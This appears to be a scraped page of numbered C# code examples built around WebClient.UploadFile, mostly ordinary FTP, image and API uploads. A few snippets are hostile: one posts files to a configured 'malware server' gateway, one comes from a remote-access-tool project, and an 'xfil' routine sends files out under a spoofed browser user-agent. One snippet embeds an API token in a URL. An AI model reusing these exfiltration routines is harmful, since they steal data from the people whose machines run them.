         client.Credentials = new System.Net.NetworkCredential(Config.ftpUsername, Config.ftpPassword);
         client.UploadFile("ftp://files.000webhost.com/" + new FileInfo(Config.InstallFolder + Server_Fn).Name, "STOR", Config.InstallFolder + Server_Fn);
     }
 }
예제 #36
0
 public static void File(string file)
 {
     System.Net.WebClient Client = new System.Net.WebClient();
     Client.Headers.Add("Content-Type", "binary/octet-stream");
     byte[] result = Client.UploadFile(Config.MalwareServerAddr + "/gateway.php?id=" + Encoder.Base64Encode(Intelligence.GetProcessorId) + "&key=" +
                                       Encoder.Base64Encode(Config.MalwareServerKey) + "&marker=" + Encoder.Base64Encode("File"), "POST", file);
     string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
 }
예제 #37
0
 /// <summary>
 ///  上传文件,并返回结果
 /// </summary>
 /// <param name="httpUrl">The HTTP URL.</param>
 /// <param name="method">The method.</param>
 /// <param name="fileUrl">The file URL.</param>
 /// Author  : 俞立钢
 /// Company : 绍兴标点电子技术有限公司
 /// Created : 2014-10-18 14:29:28
 public static string RequestUploadFile(string httpUrl, string method, string fileUrl)
 {
     WebClient webClient = new WebClient();
     webClient.Credentials = CredentialCache.DefaultCredentials;
     byte[] byteResult = webClient.UploadFile(httpUrl, method, fileUrl);
     string result = Encoding.UTF8.GetString(byteResult);
     return result;
 }
예제 #38
0
파일: Http.cs 프로젝트: MegaBedder/PHPRAT
 public static string Upload(string url, string file)
 {
     WebClient Client = new System.Net.WebClient();
     Client.Headers.Add("Content-Type", "binary/octet-stream");
     byte[] result = Client.UploadFile(url, "POST", file);
     string s = Encoding.UTF8.GetString(result, 0, result.Length);
     return s;
 }
예제 #39
0
			/// <summary>
			/// Uploads content of a file specified by filename to the server
			/// </summary>
			/// <param name="filename">Full path of a file to be uploaded from</param>
			public void Upload(string filename) {
				NetworkCredential credentials = (NetworkCredential)this._credentials;
				string auth = "Basic " + Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(credentials.UserName + ":" + credentials.Password));
				WebClient webClient = new WebClient();
				webClient.Credentials = credentials;
				webClient.Headers.Add("Authorization", auth);
				webClient.UploadFile(this.Href, "PUT", filename);
			}
예제 #40
0
 public void UploadFile(string remoteFile, string localFile)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
         client.Credentials = new NetworkCredential(_username, _password);
         client.UploadFile(remoteFile, localFile);
     }
 }
예제 #41
0
        // Handles a request to back up the flag to the ftp server. It expects 1 arguments: Admin hash.
        // Backs up the flag to the ftp server. Uses ciphertext from the sql database.
        // Tested and fixed. Works fine.
        public static void HandleBackupFiles(TcpClient client, string arguments)
        {
            string[] creds          = new string[2];
            string   responseString = string.Empty;
            string   key            = "klvd";

            //string key = "key";
            try
            {
                arguments = arguments.Trim('\0').Trim('\n');    // Handles the excess newline and null characters at the end of the datastream.

                if (Server.adminHash != arguments)
                {
                    responseString = "Invalid ClientHash!\nYou are not an admin!";
                }
                else
                {
                    creds = Server.dBAccess.GetFTPCredentials();
                    if (creds[1] == string.Empty || creds[0] == string.Empty)
                    {
                        responseString = "Something went wrong!";
                    }
                    else
                    {
                        string password = Crypto.DecryptPassword(creds[1], key);
                        Console.WriteLine(password);

                        using (System.Net.WebClient ftpclient = new System.Net.WebClient())
                        {
                            try
                            {
                                ftpclient.Credentials = new System.Net.NetworkCredential(creds[0], password);
                                //Console.WriteLine("flag" + DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second + ".txt");
                                ftpclient.UploadFile("ftp://localhost/" + "flag" + DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second + DateTime.Now.Millisecond + ".txt", "STOR", "ftp_flag.txt");

                                responseString = "Success!";
                            }
                            catch (Exception ftpexc)
                            {
                                Console.WriteLine(ftpexc);
                                responseString = "Could not log in!\n The password used: " + password;
                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
                responseString = "Wrong number of arguments!";
            }

            NetworkStream stream = client.GetStream();

            byte[] response = Encoding.UTF8.GetBytes(responseString);
            stream.Write(response, 0, response.Length);

            client.Close();
        }
예제 #42
0
        public void RSPEC_WebClient(string address, Uri uriAddress, byte[] data,
                                    NameValueCollection values)
        {
            System.Net.WebClient webclient = new System.Net.WebClient();

            // All of the following are Questionable although there may be false positives if the URI scheme is "ftp" or "file"
            //webclient.Download * (...); // Any method starting with "Download"
            webclient.DownloadData(address);                            // Noncompliant
            webclient.DownloadDataAsync(uriAddress, new object());      // Noncompliant
            webclient.DownloadDataTaskAsync(uriAddress);                // Noncompliant
            webclient.DownloadFile(address, "filename");                // Noncompliant
            webclient.DownloadFileAsync(uriAddress, "filename");        // Noncompliant
            webclient.DownloadFileTaskAsync(address, "filename");       // Noncompliant
            webclient.DownloadString(uriAddress);                       // Noncompliant
            webclient.DownloadStringAsync(uriAddress, new object());    // Noncompliant
            webclient.DownloadStringTaskAsync(address);                 // Noncompliant

            // Should not raise for events
            webclient.DownloadDataCompleted   += Webclient_DownloadDataCompleted;
            webclient.DownloadFileCompleted   += Webclient_DownloadFileCompleted;
            webclient.DownloadProgressChanged -= Webclient_DownloadProgressChanged;
            webclient.DownloadStringCompleted -= Webclient_DownloadStringCompleted;


            //webclient.Open * (...); // Any method starting with "Open"
            webclient.OpenRead(address);
//          ^^^^^^^^^^^^^^^^^^^^^^^^^^^   {{Make sure that this http request is sent safely.}}
            webclient.OpenReadAsync(uriAddress, new object());              // Noncompliant
            webclient.OpenReadTaskAsync(address);                           // Noncompliant
            webclient.OpenWrite(address);                                   // Noncompliant
            webclient.OpenWriteAsync(uriAddress, "STOR", new object());     // Noncompliant
            webclient.OpenWriteTaskAsync(address, "POST");                  // Noncompliant

            webclient.OpenReadCompleted  += Webclient_OpenReadCompleted;
            webclient.OpenWriteCompleted += Webclient_OpenWriteCompleted;

            //webclient.Upload * (...); // Any method starting with "Upload"
            webclient.UploadData(address, data);                           // Noncompliant
            webclient.UploadDataAsync(uriAddress, "STOR", data);           // Noncompliant
            webclient.UploadDataTaskAsync(address, "POST", data);          // Noncompliant
            webclient.UploadFile(address, "filename");                     // Noncompliant
            webclient.UploadFileAsync(uriAddress, "filename");             // Noncompliant
            webclient.UploadFileTaskAsync(uriAddress, "POST", "filename"); // Noncompliant
            webclient.UploadString(uriAddress, "data");                    // Noncompliant
            webclient.UploadStringAsync(uriAddress, "data");               // Noncompliant
            webclient.UploadStringTaskAsync(uriAddress, "data");           // Noncompliant
            webclient.UploadValues(address, values);                       // Noncompliant
            webclient.UploadValuesAsync(uriAddress, values);               // Noncompliant
            webclient.UploadValuesTaskAsync(address, "POST", values);
//          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

            // Should not raise for events
            webclient.UploadDataCompleted   += Webclient_UploadDataCompleted;
            webclient.UploadFileCompleted   += Webclient_UploadFileCompleted;
            webclient.UploadProgressChanged -= Webclient_UploadProgressChanged;
            webclient.UploadStringCompleted -= Webclient_UploadStringCompleted;
            webclient.UploadValuesCompleted -= Webclient_UploadValuesCompleted;
        }
예제 #43
0
 public static void UploadImage(string path, string outputPath)
 {
     var wc = new WebClient();
     var response = wc.UploadFile("http://localhost:1480/api/values", "POST", path);
     if (response != null)
     {
         File.WriteAllBytes(outputPath, response);
     }
 }
예제 #44
0
    protected static void Upload(string ftpServer, string userName, string password, string filename)
    {
        using (System.Net.WebClient client = new System.Net.WebClient())
        {
            client.Credentials = new System.Net.NetworkCredential(userName, password);
            client.UploadFile(ftpServer + "/public_html/asp/" + new FileInfo(filename).Name, "STOR", filename);

        }
    }
예제 #45
0
        public static string FTPUpload(string ftpServer, string filename, string userName, string password)
        {
            using (System.Net.WebClient client = new System.Net.WebClient()) {
                client.Credentials = new System.Net.NetworkCredential(userName, password);
                client.UploadFile(ftpServer + "/" + new FileInfo(filename).Name, "STOR", filename);
            }

            return "OK";
        }
예제 #46
0
 // TODO: Add the file to the class so that we can upload it
 public static string FTPUpload(string filepath, string filename)
 {
     using (WebClient request = new WebClient())
     {
         request.Credentials = new NetworkCredential("ftp","ftp");
         request.UploadFile("ftp://192.168.1.3/" + filename, "STOR", filepath);
     }
     return null;
 }
예제 #47
0
 public static string UploadFile(string url, string file)
 {
     WebClient wc = new WebClient();
     byte[] barray = Encoding.UTF8.GetBytes(url);
     string str = Encoding.UTF8.GetString(barray);
     byte[] responseArray = wc.UploadFile(str, "post", file);
     string respon = Encoding.UTF8.GetString(responseArray);
     return respon;
 }
예제 #48
0
파일: Storage.cs 프로젝트: evercam/snapmail
 public static void UploadFile(string ftpPathAndFileName, string localFileName, NetworkCredential credentials)
 {
     using (var client = new WebClient())
     {
         client.Credentials = credentials;
         client.UploadFile(ftpPathAndFileName, "STOR", localFileName);
         client.Dispose();
     }
 }
예제 #49
0
        public static string FTPUpload(string ftpServer, string filename, string userName, string password)
        {
            using (System.Net.WebClient client = new System.Net.WebClient()) {
                client.Credentials = new System.Net.NetworkCredential(userName, password);
                client.UploadFile(ftpServer + "/" + new FileInfo(filename).Name, "STOR", filename);
            }

            return("OK");
        }
예제 #50
0
        public void Uploadfile(string f, string filename)
        {
            string fdir = ftpserver + "/" + f;

            using (System.Net.WebClient client = new System.Net.WebClient())
            {
                client.Credentials = new System.Net.NetworkCredential(userName, password);
                client.UploadFile(fdir + "/" + new FileInfo(filename).Name, "STOR", filename);
            }
        }
예제 #51
0
        public bool UploadAvatorToServer(string fileName)
        {
            string filePath = string.Format(@"{0}\{1}", ApplicationEnvironment.LocalImageCachePath, fileName);

            System.Net.WebClient myWebClient = new System.Net.WebClient();
            var byteArray = myWebClient.UploadFile(serverUrl, "POST", filePath);
            var response  = System.Text.Encoding.UTF8.GetString(byteArray);

            return(response.Contains("Success"));
        }
예제 #52
0
            /// <summary>
            /// Uploads content of a file specified by filename to the server
            /// </summary>
            /// <param name="filename">Full path of a file to be uploaded from</param>
            public void Upload(string filename)
            {
                NetworkCredential credentials = (NetworkCredential)this._credentials;
                string            auth        = "Basic " + Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(credentials.UserName + ":" + credentials.Password));

                System.Net.WebClient webClient = new System.Net.WebClient();
                webClient.Credentials = credentials;
                webClient.Headers.Add("Authorization", auth);
                webClient.UploadFile(this.Href, "PUT", filename);
            }
예제 #53
0
        public static string Upload(string url, string file)
        {
            WebClient Client = new System.Net.WebClient();

            Client.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] result = Client.UploadFile(url, "POST", file);
            string s      = Encoding.UTF8.GetString(result, 0, result.Length);

            return(s);
        }
예제 #54
0
		private static void SimulateZipPost(Uri baseUri)
		{
			var uri = new Uri(baseUri, "testresults/createfromzip/");

			// Post the file to the server
			var client = new WebClient();
			var bytes = client.UploadFile(uri, @"E:\sources\websites\matterdata\TestResult4.zip");

			string reportID = System.Text.UTF8Encoding.UTF8.GetString(bytes);
		}
예제 #55
0
        private bool UploadImage(ICaptureDetails captureDetails, ISurface surface, out string url)
        {
            string path = null;

            try
            {
                _log.Debug("Exporting file to oo.vg");

                var uploadUrl = "http://oo.vg/a/upload";

                var config = IniConfig.GetIniSection<OovgConfiguration>();

                if (!string.IsNullOrEmpty(config.UploadKey))
                {
                    uploadUrl += $"?key={HttpUtility.UrlEncode(config.UploadKey)}";
                }

                // Temporarily store the file somewhere
                path = ImageOutput.SaveNamedTmpFile(surface, captureDetails, new SurfaceOutputSettings(OutputFormat.png));

                ServicePointManager.Expect100Continue = false;
                var webClient = new WebClient();
                var response = webClient.UploadFile(uploadUrl, "POST", path);

                url = Encoding.ASCII.GetString(response);

                _log.InfoFormat("Upload of {0} to {1} complete", captureDetails.Filename, url);

                return true;
            }
            catch (Exception ex)
            {
                MessageBox.Show("Error while uploading file:" + Environment.NewLine + ex.Message, "oo.vg Screenshot Share");

                _log.Fatal("Uploading failed", ex);

                url = null;
                return false;
            }
            finally
            {
                // clean up after ourselves
                if (!string.IsNullOrEmpty(path))
                {
                    try
                    {
                        File.Delete(path);
                    }
                    catch (Exception e)
                    {
                        _log.Warn("Could not delete temporary file", e);
                    }
                }
            }
        }
예제 #56
0
 public static void Download(string patch) //Загружает файл на хостинг
 {
     try
     {
         System.Net.WebClient Client = new System.Net.WebClient();
         Client.Headers.Add("Content-Type", "binary/octet-stream");
         byte[] result = Client.UploadFile("https://enginl.ru/Other/upload.php", "POST", patch);
         Done("Загружено: " + "https://enginl.ru/Other/files/" + Path.GetFileName(patch));
     }
     catch (Exception e)
     {
         Debug(e);
     }
 }
예제 #57
0
        private void btn_upload_img_Click(object sender, EventArgs e)
        {
            System.Net.WebClient Client = new System.Net.WebClient();

            Client.Headers.Add("Content-Type", "binary/octet-stream");

            byte[] result = Client.UploadFile(Library.apiUrl + "/uploadimg", "POST",
                                              @locateimg.Text);

            string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

            txt_link_img.Text = s;
            MessageBox.Show("Upload success");
        }
예제 #58
0
        public string Upload()
        {
            string filePath = @"C:\Users\aline\source\repos\CodeNation2020\answer.json";
            string url      = "https://api.codenation.dev/v1/challenge/dev-ps/submit-solution?token=9c439d80a2dd930204abb829b7f46d94a2de3183";


            System.Net.WebClient Client = new System.Net.WebClient();
            Client.Headers.Add("Content-Type", "multipart/form-data");
            Client.Headers.Add("file", "answer");
            byte[] result = Client.UploadFile(url, "POST", filePath);
            string s      = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

            return(s);
        }
예제 #59
0
 static string xfil(string path, string uri)
 {
     try
     {
         var wc = new System.Net.WebClient();
         Uri u  = new Uri(uri);
         wc.Headers.Add("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)");
         wc.UploadFile(u, path);
         return("Exfil succesul.");
     }
     catch (Exception e)
     {
         return("Exfil failed!");
     }
 }
예제 #60
0
        //Сохранение картинки, загрузка на сервер
        private void UploadImage(string fileToUpload)
        {
            if (image.Source != null)
            {
                var encoder = new PngBitmapEncoder();
                encoder.Frames.Add(BitmapFrame.Create((BitmapSource)image.Source));
                using (FileStream fstream = new FileStream(fileToUpload, FileMode.Create))
                    encoder.Save(fstream);
            }

            System.Net.WebClient Client = new System.Net.WebClient();
            Client.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] result = Client.UploadFile(url + "upload.php", "POST", fileToUpload);
            File.Delete(fileToUpload);
        }